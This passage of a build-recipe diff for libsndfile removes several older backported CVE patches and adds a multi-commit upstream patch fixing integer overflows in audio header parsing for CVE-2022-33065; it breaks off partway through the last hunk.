-Allocated buffer has space for only 16 channels. Verify that input file
-meets this limit.
-
-Fixes #397
----
- programs/sndfile-deinterleave.c | 7 +++++++
- 1 file changed, 7 insertions(+)
-
-diff --git a/programs/sndfile-deinterleave.c b/programs/sndfile-deinterleave.c
-index e27593e2..cb497e1f 100644
---- a/programs/sndfile-deinterleave.c
-+++ b/programs/sndfile-deinterleave.c
-@@ -89,6 +89,13 @@ main (int argc, char **argv)
- exit (1) ;
- } ;
-
-+ if (sfinfo.channels > MAX_CHANNELS)
-+ { printf ("\nError : Input file '%s' has too many (%d) channels. Limit is %d.\n",
-+ argv [1], sfinfo.channels, MAX_CHANNELS) ;
-+ exit (1) ;
-+ } ;
-+
-+
- state.channels = sfinfo.channels ;
- sfinfo.channels = 1 ;
-
---
-2.11.0
diff --git a/meta/recipes-multimedia/libsndfile/libsndfile1/CVE-2018-19432.patch b/meta/recipes-multimedia/libsndfile/libsndfile1/CVE-2018-19432.patch
deleted file mode 100644
index 8ded2c0f85..0000000000
--- a/meta/recipes-multimedia/libsndfile/libsndfile1/CVE-2018-19432.patch
+++ /dev/null
@@ -1,115 +0,0 @@
-From 6f3266277bed16525f0ac2f0f03ff4626f1923e5 Mon Sep 17 00:00:00 2001
-From: Erik de Castro Lopo <erikd@mega-nerd.com>
-Date: Thu, 8 Mar 2018 18:00:21 +1100
-Subject: [PATCH] Fix max channel count bug
-
-The code was allowing files to be written with a channel count of exactly
-`SF_MAX_CHANNELS` but was failing to read some file formats with the same
-channel count.
-
-Upstream-Status: Backport [https://github.com/erikd/libsndfile/
-commit/6f3266277bed16525f0ac2f0f03ff4626f1923e5]
-
-CVE: CVE-2018-19432
-
-Signed-off-by: Changqing Li <changqing.li@windriver.com>
-
----
- src/aiff.c | 6 +++---
- src/rf64.c | 4 ++--
- src/w64.c | 4 ++--
- src/wav.c | 4 ++--
- 4 files changed, 9 insertions(+), 9 deletions(-)
-
-diff --git a/src/aiff.c b/src/aiff.c
-index fbd43cb..6386bce 100644
---- a/src/aiff.c
-+++ b/src/aiff.c
-@@ -1,5 +1,5 @@
- /*
--** Copyright (C) 1999-2016 Erik de Castro Lopo <erikd@mega-nerd.com>
-+** Copyright (C) 1999-2018 Erik de Castro Lopo <erikd@mega-nerd.com>
- ** Copyright (C) 2005 David Viens <davidv@plogue.com>
- **
- ** This program is free software; you can redistribute it and/or modify
-@@ -950,7 +950,7 @@ aiff_read_header (SF_PRIVATE *psf, COMM_
- if (psf->sf.channels < 1)
- return SFE_CHANNEL_COUNT_ZERO ;
-
-- if (psf->sf.channels >= SF_MAX_CHANNELS)
-+ if (psf->sf.channels > SF_MAX_CHANNELS)
- return SFE_CHANNEL_COUNT ;
-
- if (! (found_chunk & HAVE_FORM))
-@@ -1030,7 +1030,7 @@ aiff_read_comm_chunk (SF_PRIVATE *psf, C
- psf_log_printf (psf, " Sample Rate : %d\n", samplerate) ;
- psf_log_printf (psf, " Frames : %u%s\n", comm_fmt->numSampleFrames, (comm_fmt->numSampleFrames == 0 && psf->filelength > 104) ? " (Should not be 0)" : "") ;
-
-- if (comm_fmt->numChannels < 1 || comm_fmt->numChannels >= SF_MAX_CHANNELS)
-+ if (comm_fmt->numChannels < 1 || comm_fmt->numChannels > SF_MAX_CHANNELS)
- { psf_log_printf (psf, " Channels : %d (should be >= 1 and < %d)\n", comm_fmt->numChannels, SF_MAX_CHANNELS) ;
- return SFE_CHANNEL_COUNT_BAD ;
- } ;
-diff --git a/src/rf64.c b/src/rf64.c
-index d57f0f3..876cd45 100644
---- a/src/rf64.c
-+++ b/src/rf64.c
-@@ -1,5 +1,5 @@
- /*
--** Copyright (C) 2008-2017 Erik de Castro Lopo <erikd@mega-nerd.com>
-+** Copyright (C) 2008-2018 Erik de Castro Lopo <erikd@mega-nerd.com>
- ** Copyright (C) 2009 Uli Franke <cls@nebadje.org>
- **
- ** This program is free software; you can redistribute it and/or modify
-@@ -382,7 +382,7 @@ rf64_read_header (SF_PRIVATE *psf, int *
- if (psf->sf.channels < 1)
- return SFE_CHANNEL_COUNT_ZERO ;
-
-- if (psf->sf.channels >= SF_MAX_CHANNELS)
-+ if (psf->sf.channels > SF_MAX_CHANNELS)
- return SFE_CHANNEL_COUNT ;
-
- /* WAVs can be little or big endian */
-diff --git a/src/w64.c b/src/w64.c
-index 939b716..a37d2c5 100644
---- a/src/w64.c
-+++ b/src/w64.c
-@@ -1,5 +1,5 @@
- /*
--** Copyright (C) 1999-2016 Erik de Castro Lopo <erikd@mega-nerd.com>
-+** Copyright (C) 1999-2018 Erik de Castro Lopo <erikd@mega-nerd.com>
- **
- ** This program is free software; you can redistribute it and/or modify
- ** it under the terms of the GNU Lesser General Public License as published by
-@@ -383,7 +383,7 @@ w64_read_header (SF_PRIVATE *psf, int *b
- if (psf->sf.channels < 1)
- return SFE_CHANNEL_COUNT_ZERO ;
-
-- if (psf->sf.channels >= SF_MAX_CHANNELS)
-+ if (psf->sf.channels > SF_MAX_CHANNELS)
- return SFE_CHANNEL_COUNT ;
-
- psf->endian = SF_ENDIAN_LITTLE ; /* All W64 files are little endian. */
-diff --git a/src/wav.c b/src/wav.c
-index 7bd97bc..dc97545 100644
---- a/src/wav.c
-+++ b/src/wav.c
-@@ -1,5 +1,5 @@
- /*
--** Copyright (C) 1999-2016 Erik de Castro Lopo <erikd@mega-nerd.com>
-+** Copyright (C) 1999-2018 Erik de Castro Lopo <erikd@mega-nerd.com>
- ** Copyright (C) 2004-2005 David Viens <davidv@plogue.com>
- **
- ** This program is free software; you can redistribute it and/or modify
-@@ -627,7 +627,7 @@ wav_read_header (SF_PRIVATE *psf, int *b
- if (psf->sf.channels < 1)
- return SFE_CHANNEL_COUNT_ZERO ;
-
-- if (psf->sf.channels >= SF_MAX_CHANNELS)
-+ if (psf->sf.channels > SF_MAX_CHANNELS)
- return SFE_CHANNEL_COUNT ;
-
- if (format != WAVE_FORMAT_PCM && (parsestage & HAVE_fact) == 0)
---
-1.7.9.5
-
diff --git a/meta/recipes-multimedia/libsndfile/libsndfile1/CVE-2018-19758.patch b/meta/recipes-multimedia/libsndfile/libsndfile1/CVE-2018-19758.patch
deleted file mode 100644
index c3586f9dfc..0000000000
--- a/meta/recipes-multimedia/libsndfile/libsndfile1/CVE-2018-19758.patch
+++ /dev/null
@@ -1,34 +0,0 @@
-There is a heap-based buffer over-read at wav.c in wav_write_header in
-libsndfile 1.0.28 that will cause a denial of service.
-
-CVE: CVE-2018-19758
-Upstream-Status: Backport [42132c543358cee9f7c3e9e9b15bb6c1063a608e]
-Signed-off-by: Ross Burton <ross.burton@intel.com>
-
-From c12173b0197dd0c5cfa2cd27977e982d2ae59486 Mon Sep 17 00:00:00 2001
-From: Erik de Castro Lopo <erikd@mega-nerd.com>
-Date: Tue, 1 Jan 2019 20:11:46 +1100
-Subject: [PATCH] src/wav.c: Fix heap read overflow
-
-This is CVE-2018-19758.
-
-Closes: https://github.com/erikd/libsndfile/issues/435
----
- src/wav.c | 2 ++
- 1 file changed, 2 insertions(+)
-
-diff --git a/src/wav.c b/src/wav.c
-index e8405b55..6fb94ae8 100644
---- a/src/wav.c
-+++ b/src/wav.c
-@@ -1094,6 +1094,8 @@ wav_write_header (SF_PRIVATE *psf, int calc_length)
- psf_binheader_writef (psf, "44", 0, 0) ; /* SMTPE format */
- psf_binheader_writef (psf, "44", psf->instrument->loop_count, 0) ;
-
-+ /* Loop count is signed 16 bit number so we limit it range to something sensible. */
-+ psf->instrument->loop_count &= 0x7fff ;
- for (tmp = 0 ; tmp < psf->instrument->loop_count ; tmp++)
- { int type ;
-
---
-2.11.0
diff --git a/meta/recipes-multimedia/libsndfile/libsndfile1/CVE-2019-3832.patch b/meta/recipes-multimedia/libsndfile/libsndfile1/CVE-2019-3832.patch
deleted file mode 100644
index ab37211399..0000000000
--- a/meta/recipes-multimedia/libsndfile/libsndfile1/CVE-2019-3832.patch
+++ /dev/null
@@ -1,37 +0,0 @@
-From 43886efc408c21e1e329086ef70c88860310f25b Mon Sep 17 00:00:00 2001
-From: Emilio Pozuelo Monfort <pochu27@gmail.com>
-Date: Tue, 5 Mar 2019 11:27:17 +0100
-Subject: [PATCH] wav_write_header: don't read past the array end
-
-CVE-2018-19758 wasn't entirely fixed in the fix, so fix it harder.
-
-CVE: CVE-2019-3832
-Upstream-Status: Backport [7408c4c788ce047d4e652b60a04e7796bcd7267e]
-Signed-off-by: Ross Burton <ross.burton@intel.com>
-
-If loop_count is bigger than the array, truncate it to the array
-length (and not to 32k).
-
-CVE-2019-3832
-
----
- src/wav.c | 6 ++++--
- 1 file changed, 4 insertions(+), 2 deletions(-)
-
-diff --git a/src/wav.c b/src/wav.c
-index daae3cc..8851549 100644
---- a/src/wav.c
-+++ b/src/wav.c
-@@ -1094,8 +1094,10 @@ wav_write_header (SF_PRIVATE *psf, int calc_length)
- psf_binheader_writef (psf, "44", 0, 0) ; /* SMTPE format */
- psf_binheader_writef (psf, "44", psf->instrument->loop_count, 0) ;
-
-- /* Loop count is signed 16 bit number so we limit it range to something sensible. */
-- psf->instrument->loop_count &= 0x7fff ;
-+ /* Make sure we don't read past the loops array end. */
-+ if (psf->instrument->loop_count > ARRAY_LEN (psf->instrument->loops))
-+ psf->instrument->loop_count = ARRAY_LEN (psf->instrument->loops) ;
-+
- for (tmp = 0 ; tmp < psf->instrument->loop_count ; tmp++)
- { int type ;
-
diff --git a/meta/recipes-multimedia/libsndfile/libsndfile1/cve-2022-33065.patch b/meta/recipes-multimedia/libsndfile/libsndfile1/cve-2022-33065.patch
new file mode 100644
index 0000000000..fa4b2fc08b
--- /dev/null
+++ b/meta/recipes-multimedia/libsndfile/libsndfile1/cve-2022-33065.patch
@@ -0,0 +1,739 @@
+From c7ce5b0ebeeb58934825077d1324960aa0747718 Mon Sep 17 00:00:00 2001
+From: Alex Stewart <alex.stewart@ni.com>
+Date: Tue, 10 Oct 2023 16:10:34 -0400
+Subject: [PATCH] mat4/mat5: fix int overflow in dataend calculation
+
+The clang sanitizer warns of a possible signed integer overflow when
+calculating the `dataend` value in `mat4_read_header()`.
+
+```
+src/mat4.c:323:41: runtime error: signed integer overflow: 205 * -100663296 cannot be represented in type 'int'
+SUMMARY: UndefinedBehaviorSanitizer: undefined-behavior src/mat4.c:323:41 in
+src/mat4.c:323:48: runtime error: signed integer overflow: 838860800 * 4 cannot be represented in type 'int'
+SUMMARY: UndefinedBehaviorSanitizer: undefined-behavior src/mat4.c:323:48 in
+```
+
+Cast the offending `rows` and `cols` ints to `sf_count_t` (the type of
+`dataend` before performing the calculation, to avoid the issue.
+
+CVE: CVE-2022-33065
+Fixes: https://github.com/libsndfile/libsndfile/issues/789
+Fixes: https://github.com/libsndfile/libsndfile/issues/833
+
+Upstream-Status: Backport [9a829113c88a51e57c1e46473e90609e4b7df151]
+
+Signed-off-by: Alex Stewart <alex.stewart@ni.com>
+---
+ src/mat4.c | 2 +-
+ 1 file changed, 1 insertion(+), 1 deletion(-)
+
+diff --git a/src/mat4.c b/src/mat4.c
+index 0b1b414b..575683ba 100644
+--- a/src/mat4.c
++++ b/src/mat4.c
+@@ -320,7 +320,7 @@ mat4_read_header (SF_PRIVATE *psf)
+ psf->filelength - psf->dataoffset, psf->sf.channels * psf->sf.frames * psf->bytewidth) ;
+ }
+ else if ((psf->filelength - psf->dataoffset) > psf->sf.channels * psf->sf.frames * psf->bytewidth)
+- psf->dataend = psf->dataoffset + rows * cols * psf->bytewidth ;
++ psf->dataend = psf->dataoffset + (sf_count_t) rows * (sf_count_t) cols * psf->bytewidth ;
+
+ psf->datalength = psf->filelength - psf->dataoffset - psf->dataend ;
+
+From 842303f984b2081481e74cb84a9a24ecbe3dec1a Mon Sep 17 00:00:00 2001
+From: Alex Stewart <alex.stewart@ni.com>
+Date: Wed, 11 Oct 2023 16:36:02 -0400
+Subject: [PATCH] au: avoid int overflow while calculating data_end
+
+At several points in au_read_header(), we calculate the functional end
+of the data segment by adding the (int)au_fmt.dataoffset and the
+(int)au_fmt.datasize. This can overflow the implicit int_32 return value
+and cause undefined behavior.
+
+Instead, precalculate the value and assign it to a 64-bit
+(sf_count_t)data_end variable.
+
+CVE: CVE-2022-33065
+Fixes: https://github.com/libsndfile/libsndfile/issues/833
+
+Signed-off-by: Alex Stewart <alex.stewart@ni.com>
+---
+ src/au.c | 10 ++++++----
+ 1 file changed, 6 insertions(+), 4 deletions(-)
+
+diff --git a/src/au.c b/src/au.c
+index 62bd691d..f68f2587 100644
+--- a/src/au.c
++++ b/src/au.c
+@@ -291,6 +291,7 @@ static int
+ au_read_header (SF_PRIVATE *psf)
+ { AU_FMT au_fmt ;
+ int marker, dword ;
++ sf_count_t data_end ;
+
+ memset (&au_fmt, 0, sizeof (au_fmt)) ;
+ psf_binheader_readf (psf, "pm", 0, &marker) ;
+@@ -317,14 +318,15 @@ au_read_header (SF_PRIVATE *psf)
+ return SFE_AU_EMBED_BAD_LEN ;
+ } ;
+
++ data_end = (sf_count_t) au_fmt.dataoffset + (sf_count_t) au_fmt.datasize ;
+ if (psf->fileoffset > 0)
+- { psf->filelength = au_fmt.dataoffset + au_fmt.datasize ;
++ { psf->filelength = data_end ;
+ psf_log_printf (psf, " Data Size : %d\n", au_fmt.datasize) ;
+ }
+- else if (au_fmt.datasize == -1 || au_fmt.dataoffset + au_fmt.datasize == psf->filelength)
++ else if (au_fmt.datasize == -1 || data_end == psf->filelength)
+ psf_log_printf (psf, " Data Size : %d\n", au_fmt.datasize) ;
+- else if (au_fmt.dataoffset + au_fmt.datasize < psf->filelength)
+- { psf->filelength = au_fmt.dataoffset + au_fmt.datasize ;
++ else if (data_end < psf->filelength)
++ { psf->filelength = data_end ;
+ psf_log_printf (psf, " Data Size : %d\n", au_fmt.datasize) ;
+ }
+ else
+From 0754d3380a54e3fbdde0f684b88955c80c79f58f Mon Sep 17 00:00:00 2001
+From: Alex Stewart <alex.stewart@ni.com>
+Date: Wed, 11 Oct 2023 16:46:29 -0400
+Subject: [PATCH] avr: fix int overflow in avr_read_header()
+
+Pre-cast hdr.frames to sf_count_t, to provide the calculation with
+enough numeric space to avoid an int-overflow.
+
+CVE: CVE-2022-33065
+Fixes: https://github.com/libsndfile/libsndfile/issues/833
+
+Signed-off-by: Alex Stewart <alex.stewart@ni.com>
+---
+ src/avr.c | 2 +-
+ 1 file changed, 1 insertion(+), 1 deletion(-)
+
+diff --git a/src/avr.c b/src/avr.c
+index 6c78ff69..1bc1ffc9 100644
+--- a/src/avr.c
++++ b/src/avr.c
+@@ -162,7 +162,7 @@ avr_read_header (SF_PRIVATE *psf)
+ psf->endian = SF_ENDIAN_BIG ;
+
+ psf->dataoffset = AVR_HDR_SIZE ;
+- psf->datalength = hdr.frames * (hdr.rez / 8) ;
++ psf->datalength = (sf_count_t) hdr.frames * (hdr.rez / 8) ;
+
+ if (psf->fileoffset > 0)
+ psf->filelength = AVR_HDR_SIZE + psf->datalength ;
+From 6ac31a68a614e2bba4a05b54e5558d6270c98376 Mon Sep 17 00:00:00 2001
+From: Alex Stewart <alex.stewart@ni.com>
+Date: Wed, 11 Oct 2023 16:54:21 -0400
+Subject: [PATCH] sds: fix int overflow warning in sample calculations
+
+The sds_*byte_read() functions compose their uint_32 sample buffers by
+shifting 7bit samples into a 32bit wide buffer, and adding them
+together. Because the 7bit samples are stored in 32bit ints, code
+fuzzers become concerned that the addition operation can overflow and
+cause undefined behavior.
+
+Instead, bitwise-OR the bytes together - which should accomplish the
+same arithmetic operation, without risking an int-overflow.
+
+CVE: CVE-2022-33065
+Fixes: https://github.com/libsndfile/libsndfile/issues/833
+
+Signed-off-by: Alex Stewart <alex.stewart@ni.com>
+
+Do the same for the 3byte and 4byte read functions.
+---
+ src/sds.c | 6 +++---
+ 1 file changed, 3 insertions(+), 3 deletions(-)
+
+diff --git a/src/sds.c b/src/sds.c
+index 6bc76171..2a0f164c 100644
+--- a/src/sds.c
++++ b/src/sds.c
+@@ -454,7 +454,7 @@ sds_2byte_read (SF_PRIVATE *psf, SDS_PRIVATE *psds)
+
+ ucptr = psds->read_data + 5 ;
+ for (k = 0 ; k < 120 ; k += 2)
+- { sample = arith_shift_left (ucptr [k], 25) + arith_shift_left (ucptr [k + 1], 18) ;
++ { sample = arith_shift_left (ucptr [k], 25) | arith_shift_left (ucptr [k + 1], 18) ;
+ psds->read_samples [k / 2] = (int) (sample - 0x80000000) ;
+ } ;
+
+@@ -498,7 +498,7 @@ sds_3byte_read (SF_PRIVATE *psf, SDS_PRIVATE *psds)
+
+ ucptr = psds->read_data + 5 ;
+ for (k = 0 ; k < 120 ; k += 3)
+- { sample = (((uint32_t) ucptr [k]) << 25) + (ucptr [k + 1] << 18) + (ucptr [k + 2] << 11) ;
++ { sample = (((uint32_t) ucptr [k]) << 25) | (ucptr [k + 1] << 18) | (ucptr [k + 2] << 11) ;
+ psds->read_samples [k / 3] = (int) (sample - 0x80000000) ;
+ } ;
+
+@@ -542,7 +542,7 @@ sds_4byte_read (SF_PRIVATE *psf, SDS_PRIVATE *psds)
+
+ ucptr = psds->read_data + 5 ;
+ for (k = 0 ; k < 120 ; k += 4)
+- { sample = (((uint32_t) ucptr [k]) << 25) + (ucptr [k + 1] << 18) + (ucptr [k + 2] << 11) + (ucptr [k + 3] << 4) ;
++ { sample = (((uint32_t) ucptr [k]) << 25) | (ucptr [k + 1] << 18) | (ucptr [k + 2] << 11) | (ucptr [k + 3] << 4) ;
+ psds->read_samples [k / 4] = (int) (sample - 0x80000000) ;
+ } ;
+
+From 96428e1dd4998f1cd47df24f8fe9b0da35d7b947 Mon Sep 17 00:00:00 2001
+From: Alex Stewart <alex.stewart@ni.com>
+Date: Wed, 11 Oct 2023 17:26:51 -0400
+Subject: [PATCH] aiff: fix int overflow when counting header elements
+
+aiff_read_basc_chunk() tries to count the AIFF header size by keeping
+track of the bytes returned by psf_binheader_readf(). Though improbable,
+it is technically possible for these added bytes to exceed the int-sized
+`count` accumulator.
+
+Use a 64-bit sf_count_t type for `count`, to ensure that it always has
+enough numeric space.
+
+CVE: CVE-2022-33065
+Fixes: https://github.com/libsndfile/libsndfile/issues/833
+
+Signed-off-by: Alex Stewart <alex.stewart@ni.com>
+---
+ src/aiff.c | 2 +-
+ 1 file changed, 1 insertion(+), 1 deletion(-)
+
+diff --git a/src/aiff.c b/src/aiff.c
+index a2bda8f4..6b244302 100644
+--- a/src/aiff.c
++++ b/src/aiff.c
+@@ -1702,7 +1702,7 @@ static int
+ aiff_read_basc_chunk (SF_PRIVATE * psf, int datasize)
+ { const char * type_str ;
+ basc_CHUNK bc ;
+- int count ;
++ sf_count_t count ;
+
+ count = psf_binheader_readf (psf, "E442", &bc.version, &bc.numBeats, &bc.rootNote) ;
+ count += psf_binheader_readf (psf, "E222", &bc.scaleType, &bc.sigNumerator, &bc.sigDenominator) ;
+From b352c350d35bf978e4d3a32e5d9df1f2284445f4 Mon Sep 17 00:00:00 2001
+From: Alex Stewart <alex.stewart@ni.com>
+Date: Wed, 11 Oct 2023 17:43:02 -0400
+Subject: [PATCH] ircam: fix int overflow in ircam_read_header()
+
+When reading the IRCAM header, it is possible for the calculated
+blockwidth to exceed the bounds of a signed int32.
+
+Use a 64bit sf_count_t to store the blockwidth.
+
+CVE: CVE-2022-33065
+Fixes: https://github.com/libsndfile/libsndfile/issues/833
+
+Signed-off-by: Alex Stewart <alex.stewart@ni.com>
+---
+ src/common.h | 2 +-
+ src/ircam.c | 10 +++++-----
+ 2 files changed, 6 insertions(+), 6 deletions(-)
+
+diff --git a/src/common.h b/src/common.h
+index d92eabde..5369cb67 100644
+--- a/src/common.h
++++ b/src/common.h
+@@ -439,7 +439,7 @@ typedef struct sf_private_tag
+ sf_count_t datalength ; /* Length in bytes of the audio data. */
+ sf_count_t dataend ; /* Offset to file tailer. */
+
+- int blockwidth ; /* Size in bytes of one set of interleaved samples. */
++ sf_count_t blockwidth ; /* Size in bytes of one set of interleaved samples. */
+ int bytewidth ; /* Size in bytes of one sample (one channel). */
+
+ void *dither ;
+diff --git a/src/ircam.c b/src/ircam.c
+index 8e7cdba8..3d73ba44 100644
+--- a/src/ircam.c
++++ b/src/ircam.c
+@@ -171,35 +171,35 @@ ircam_read_header (SF_PRIVATE *psf)
+ switch (encoding)
+ { case IRCAM_PCM_16 :
+ psf->bytewidth = 2 ;
+- psf->blockwidth = psf->sf.channels * psf->bytewidth ;
++ psf->blockwidth = (sf_count_t) psf->sf.channels * psf->bytewidth ;
+
+ psf->sf.format = SF_FORMAT_IRCAM | SF_FORMAT_PCM_16 ;
+ break ;
+
+ case IRCAM_PCM_32 :
+ psf->bytewidth = 4 ;
+- psf->blockwidth = psf->sf.channels * psf->bytewidth ;
++ psf->blockwidth = (sf_count_t) psf->sf.channels * psf->bytewidth ;
+
+ psf->sf.format = SF_FORMAT_IRCAM | SF_FORMAT_PCM_32 ;
+ break ;
+
+ case IRCAM_FLOAT :
+ psf->bytewidth = 4 ;
+- psf->blockwidth = psf->sf.channels * psf->bytewidth ;
++ psf->blockwidth = (sf_count_t) psf->sf.channels * psf->bytewidth ;
+
+ psf->sf.format = SF_FORMAT_IRCAM | SF_FORMAT_FLOAT ;
+ break ;
+
+ case IRCAM_ALAW :
+ psf->bytewidth = 1 ;
+- psf->blockwidth = psf->sf.channels * psf->bytewidth ;
++ psf->blockwidth = (sf_count_t) psf->sf.channels * psf->bytewidth ;
+
+ psf->sf.format = SF_FORMAT_IRCAM | SF_FORMAT_ALAW ;
+ break ;
+
+ case IRCAM_ULAW :
+ psf->bytewidth = 1 ;
+- psf->blockwidth = psf->sf.channels * psf->bytewidth ;
++ psf->blockwidth = (sf_count_t) psf->sf.channels * psf->bytewidth ;
+
+ psf->sf.format = SF_FORMAT_IRCAM | SF_FORMAT_ULAW ;
+ break ;
+From 3bcd291e57867f88f558fa6f80990e84311df78c Mon Sep 17 00:00:00 2001
+From: Alex Stewart <alex.stewart@ni.com>
+Date: Wed, 11 Oct 2023 16:12:22 -0400
+Subject: [PATCH] mat4/mat5: fix int overflow when calculating blockwidth
+
+Pre-cast the components of the blockwidth calculation to sf_count_t to
+avoid overflowing integers during calculation.
+
+CVE: CVE-2022-33065
+Fixes: https://github.com/libsndfile/libsndfile/issues/833
+
+Signed-off-by: Alex Stewart <alex.stewart@ni.com>
+---
+ src/mat4.c | 2 +-
+ src/mat5.c | 2 +-
+ 2 files changed, 2 insertions(+), 2 deletions(-)
+
+diff --git a/src/mat4.c b/src/mat4.c
+index 575683ba..9f046f0c 100644
+--- a/src/mat4.c
++++ b/src/mat4.c
+@@ -104,7 +104,7 @@ mat4_open (SF_PRIVATE *psf)
+
+ psf->container_close = mat4_close ;
+
+- psf->blockwidth = psf->bytewidth * psf->sf.channels ;
++ psf->blockwidth = (sf_count_t) psf->bytewidth * psf->sf.channels ;
+
+ switch (subformat)
+ { case SF_FORMAT_PCM_16 :
+diff --git a/src/mat5.c b/src/mat5.c
+index da5a6eca..20f0ea64 100644
+--- a/src/mat5.c
++++ b/src/mat5.c
+@@ -114,7 +114,7 @@ mat5_open (SF_PRIVATE *psf)
+
+ psf->container_close = mat5_close ;
+
+- psf->blockwidth = psf->bytewidth * psf->sf.channels ;
++ psf->blockwidth = (sf_count_t) psf->bytewidth * psf->sf.channels ;
+
+ switch (subformat)
+ { case SF_FORMAT_PCM_U8 :
+From c177e292d47ef73b1d3c1bb391320299a0ed2ff9 Mon Sep 17 00:00:00 2001
+From: Alex Stewart <alex.stewart@ni.com>
+Date: Mon, 16 Oct 2023 12:37:47 -0400
+Subject: [PATCH] common: fix int overflow in psf_binheader_readf()
+
+The psf_binheader_readf() function attempts to count and return the
+number of bytes traversed in the header. During this accumulation, it is
+possible to overflow the int-sized byte_count variable.
+
+Avoid this overflow by checking that the accumulated bytes do not exceed
+INT_MAX and throwing an error if they do. This implies that files with
+multi-gigabyte headers threaten to produce this error, but I imagine
+those files don't really exist - and this error is better than the
+undefined behavior which would have resulted previously.
+
+CVE: CVE-2022-33065
+Fixes: https://github.com/libsndfile/libsndfile/issues/833
+
+Signed-off-by: Alex Stewart <alex.stewart@ni.com>
+---
+ src/common.c | 36 ++++++++++++++++++++++++------------
+ 1 file changed, 24 insertions(+), 12 deletions(-)
+
+diff --git a/src/common.c b/src/common.c
+index 1c3d951d..7f6cceca 100644
+--- a/src/common.c
++++ b/src/common.c
+@@ -18,6 +18,7 @@
+
+ #include <config.h>
+
++#include <limits.h>
+ #include <stdarg.h>
+ #include <string.h>
+ #if HAVE_UNISTD_H
+@@ -990,6 +991,7 @@ psf_binheader_readf (SF_PRIVATE *psf, char const *format, ...)
+ double *doubleptr ;
+ char c ;
+ int byte_count = 0, count = 0 ;
++ int read_bytes = 0 ;
+
+ if (! format)
+ return psf_ftell (psf) ;
+@@ -998,6 +1000,7 @@ psf_binheader_readf (SF_PRIVATE *psf, char const *format, ...)
+
+ while ((c = *format++))
+ {
++ read_bytes = 0 ;
+ if (psf->header.indx + 16 >= psf->header.len && psf_bump_header_allocation (psf, 16))
+ break ;
+
+@@ -1014,7 +1017,7 @@ psf_binheader_readf (SF_PRIVATE *psf, char const *format, ...)
+ intptr = va_arg (argptr, unsigned int*) ;
+ *intptr = 0 ;
+ ucptr = (unsigned char*) intptr ;
+- byte_count += header_read (psf, ucptr, sizeof (int)) ;
++ read_bytes = header_read (psf, ucptr, sizeof (int)) ;
+ *intptr = GET_MARKER (ucptr) ;
+ break ;
+
+@@ -1022,7 +1025,7 @@ psf_binheader_readf (SF_PRIVATE *psf, char const *format, ...)
+ intptr = va_arg (argptr, unsigned int*) ;
+ *intptr = 0 ;
+ ucptr = (unsigned char*) intptr ;
+- byte_count += header_read (psf, sixteen_bytes, sizeof (sixteen_bytes)) ;
++ read_bytes = header_read (psf, sixteen_bytes, sizeof (sixteen_bytes)) ;
+ { int k ;
+ intdata = 0 ;
+ for (k = 0 ; k < 16 ; k++)
+@@ -1034,14 +1037,14 @@ psf_binheader_readf (SF_PRIVATE *psf, char const *format, ...)
+ case '1' :
+ charptr = va_arg (argptr, char*) ;
+ *charptr = 0 ;
+- byte_count += header_read (psf, charptr, sizeof (char)) ;
++ read_bytes = header_read (psf, charptr, sizeof (char)) ;
+ break ;
+
+ case '2' : /* 2 byte value with the current endian-ness */
+ shortptr = va_arg (argptr, unsigned short*) ;
+ *shortptr = 0 ;
+ ucptr = (unsigned char*) shortptr ;
+- byte_count += header_read (psf, ucptr, sizeof (short)) ;
++ read_bytes = header_read (psf, ucptr, sizeof (short)) ;
+ if (psf->rwf_endian == SF_ENDIAN_BIG)
+ *shortptr = GET_BE_SHORT (ucptr) ;
+ else
+@@ -1051,7 +1054,7 @@ psf_binheader_readf (SF_PRIVATE *psf, char const *format, ...)
+ case '3' : /* 3 byte value with the current endian-ness */
+ intptr = va_arg (argptr, unsigned int*) ;
+ *intptr = 0 ;
+- byte_count += header_read (psf, sixteen_bytes, 3) ;
++ read_bytes = header_read (psf, sixteen_bytes, 3) ;
+ if (psf->rwf_endian == SF_ENDIAN_BIG)
+ *intptr = GET_BE_3BYTE (sixteen_bytes) ;
+ else
+@@ -1062,7 +1065,7 @@ psf_binheader_readf (SF_PRIVATE *psf, char const *format, ...)
+ intptr = va_arg (argptr, unsigned int*) ;
+ *intptr = 0 ;
+ ucptr = (unsigned char*) intptr ;
+- byte_count += header_read (psf, ucptr, sizeof (int)) ;
++ read_bytes = header_read (psf, ucptr, sizeof (int)) ;
+ if (psf->rwf_endian == SF_ENDIAN_BIG)
+ *intptr = psf_get_be32 (ucptr, 0) ;
+ else
+@@ -1072,7 +1075,7 @@ psf_binheader_readf (SF_PRIVATE *psf, char const *format, ...)
+ case '8' : /* 8 byte value with the current endian-ness */
+ countptr = va_arg (argptr, sf_count_t *) ;
+ *countptr = 0 ;
+- byte_count += header_read (psf, sixteen_bytes, 8) ;
++ read_bytes = header_read (psf, sixteen_bytes, 8) ;
+ if (psf->rwf_endian == SF_ENDIAN_BIG)
+ countdata = psf_get_be64 (sixteen_bytes, 0) ;
+ else
+@@ -1083,7 +1086,7 @@ psf_binheader_readf (SF_PRIVATE *psf, char const *format, ...)
+ case 'f' : /* Float conversion */
+ floatptr = va_arg (argptr, float *) ;
+ *floatptr = 0.0 ;
+- byte_count += header_read (psf, floatptr, sizeof (float)) ;
++ read_bytes = header_read (psf, floatptr, sizeof (float)) ;
+ if (psf->rwf_endian == SF_ENDIAN_BIG)
+ *floatptr = float32_be_read ((unsigned char*) floatptr) ;
+ else
+@@ -1093,7 +1096,7 @@ psf_binheader_readf (SF_PRIVATE *psf, char const *format, ...)
+ case 'd' : /* double conversion */
+ doubleptr = va_arg (argptr, double *) ;
+ *doubleptr = 0.0 ;
+- byte_count += header_read (psf, doubleptr, sizeof (double)) ;
++ read_bytes = header_read (psf, doubleptr, sizeof (double)) ;
+ if (psf->rwf_endian == SF_ENDIAN_BIG)
+ *doubleptr = double64_be_read ((unsigned char*) doubleptr) ;
+ else
+@@ -1117,7 +1120,7 @@ psf_binheader_readf (SF_PRIVATE *psf, char const *format, ...)
+ charptr = va_arg (argptr, char*) ;
+ count = va_arg (argptr, size_t) ;
+ memset (charptr, 0, count) ;
+- byte_count += header_read (psf, charptr, count) ;
++ read_bytes = header_read (psf, charptr, count) ;
+ break ;
+
+ case 'G' :
+@@ -1128,7 +1131,7 @@ psf_binheader_readf (SF_PRIVATE *psf, char const *format, ...)
+ if (psf->header.indx + count >= psf->header.len && psf_bump_header_allocation (psf, count))
+ break ;
+
+- byte_count += header_gets (psf, charptr, count) ;
++ read_bytes = header_gets (psf, charptr, count) ;
+ break ;
+
+ case 'z' :
